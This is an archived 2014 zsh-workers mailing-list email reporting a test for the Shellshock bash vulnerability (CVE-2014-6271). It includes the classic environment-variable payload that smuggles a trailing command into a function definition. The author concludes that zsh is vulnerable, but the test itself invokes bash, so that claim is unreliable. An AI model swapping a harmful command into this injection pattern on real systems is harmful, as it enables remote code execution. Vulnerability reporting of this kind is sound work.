From mboxrd@z Thu Jan  1 00:00:00 1970
Return-Path: <zsh-workers-return-33228-mason-zsh=primenet.com.au@zsh.org>
Received: (qmail 17262 invoked by alias); 24 Sep 2014 14:45:44 -0000
Mailing-List: contact zsh-workers-help@zsh.org; run by ezmlm
Precedence: bulk
X-No-Archive: yes
List-Id: Zsh Workers List <zsh-workers.zsh.org>
List-Post: <mailto:zsh-workers@zsh.org>
List-Help: <mailto:zsh-workers-help@zsh.org>
X-Seq: 33228
Received: (qmail 22082 invoked from network); 24 Sep 2014 14:45:42 -0000
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on f.primenet.com.au
X-Spam-Level: 
X-Spam-Status: No, score=-2.7 required=5.0 tests=BAYES_00,DKIM_SIGNED,
	DKIM_VALID,DKIM_VALID_AU,HTML_MESSAGE,RCVD_IN_DNSWL_LOW autolearn=ham
	version=3.3.2
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=donmez.ws; s=www;
        h=mime-version:from:date:message-id:subject:to:content-type;
        bh=YrVBTG2B+gdgtakzEe5AitIAokwk+aPUbR4DrOCDtKU=;
        b=Rn2SpKka8DHTEBmaKE504P+iTtshIOrEH6JcEB7Xb8xfJKXxg7Mey19VklXLzj1Mki
         8b0meeh45hucffSyydBZtEIrKiQFJpcdf+07TRorA4R+SWlnWj7pupGTChDRc+rhWTVi
         NFoWSvy/QRruFt4xcL7Pydj4GWeoYJ1c/pWRA=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:from:date:message-id:subject:to
         :content-type;
        bh=YrVBTG2B+gdgtakzEe5AitIAokwk+aPUbR4DrOCDtKU=;
        b=KwgZcEBhft59PisjTW/KNr2ko+2knpd86nDL90/2GVMBRWAqqgR1XFLFEZAK/kkica
         /2BG0jArjMM2tkOVPT7gUMDQ4cZo1TsZBySt5P0hdqkrgxXzlQMvnw+cH5t7/8qS356X
         VS8LkuJ56K8f8ffTg4BFezA1teCvJE4dXbsFwLhIK5wjTwV2U8WUPYLV/0ENfnplrYOb
         v/wHkWhmlLa7zp04aa3iUaP4i6JO5xqHxl0Z90TVAM6uFjqyQP6mQyUu7laH5OWlOw27
         gRfKQrJJZhgGBcFqzL+waVaeAYA+BTw6G2C3+Eqy9JCTMOiaiFzkxq0YhVn83/XqJC44
         KN7w==
X-Gm-Message-State: ALoCoQlGmI5fK9j7N/hZs1fej4K0rS5/Mai9imERXi6ak3WOIFclTOig7C4JjoPU/AaQzvP7DlNw
X-Received: by 10.52.164.136 with SMTP id yq8mr5063839vdb.23.1411569935464;
 Wed, 24 Sep 2014 07:45:35 -0700 (PDT)
MIME-Version: 1.0
From: =?UTF-8?B?xLBzbWFpbCBEw7ZubWV6?= <ismail@donmez.ws>
Date: Wed, 24 Sep 2014 17:45:15 +0300
Message-ID: <CAJ1KOAjyBjbywavXwa+ejjQD1YjK8eCSGaESYhJxCb1e3KPjFg@mail.gmail.com>
Subject: zsh seems to be vulnerable to CVE-2014-6271: remote code execution
 through bash
To: "Zsh Hackers' List" <zsh-workers@zsh.org>
Content-Type: multipart/alternative; boundary=001a11c232e09452260503d0bc9f

--001a11c232e09452260503d0bc9f
Content-Type: text/plain; charset=UTF-8

According to the vulnerability test in
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

[~]> echo $ZSH_VERSION
5.0.6

[~]> env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

Looks like zsh is vulnerable too.

Regards.

--001a11c232e09452260503d0bc9f--